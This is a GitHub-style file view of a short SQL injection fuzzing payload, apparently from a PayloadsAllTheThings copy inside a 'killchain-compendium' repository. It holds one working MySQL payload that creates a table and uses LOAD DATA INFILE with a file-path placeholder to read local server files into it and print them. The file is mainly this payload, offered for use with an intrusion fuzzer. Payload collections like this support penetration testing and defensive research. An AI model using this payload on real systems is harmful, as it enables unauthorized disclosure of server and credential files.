killchain-compendium/misc/PayloadsAllTheThings/SQL Injection/Intruder/FUZZDB_MySQL_ReadLocalFiles...

4 lines
210 B
Plaintext
Raw Normal View History

2022-05-31 21:08:28 +02:00
# mysql local file disclosure through sqli
# fuzz interesting absolute filepath/filename into <filepath>
create table myfile (input TEXT); load data infile '<filepath>' into table myfile; select * from myfile;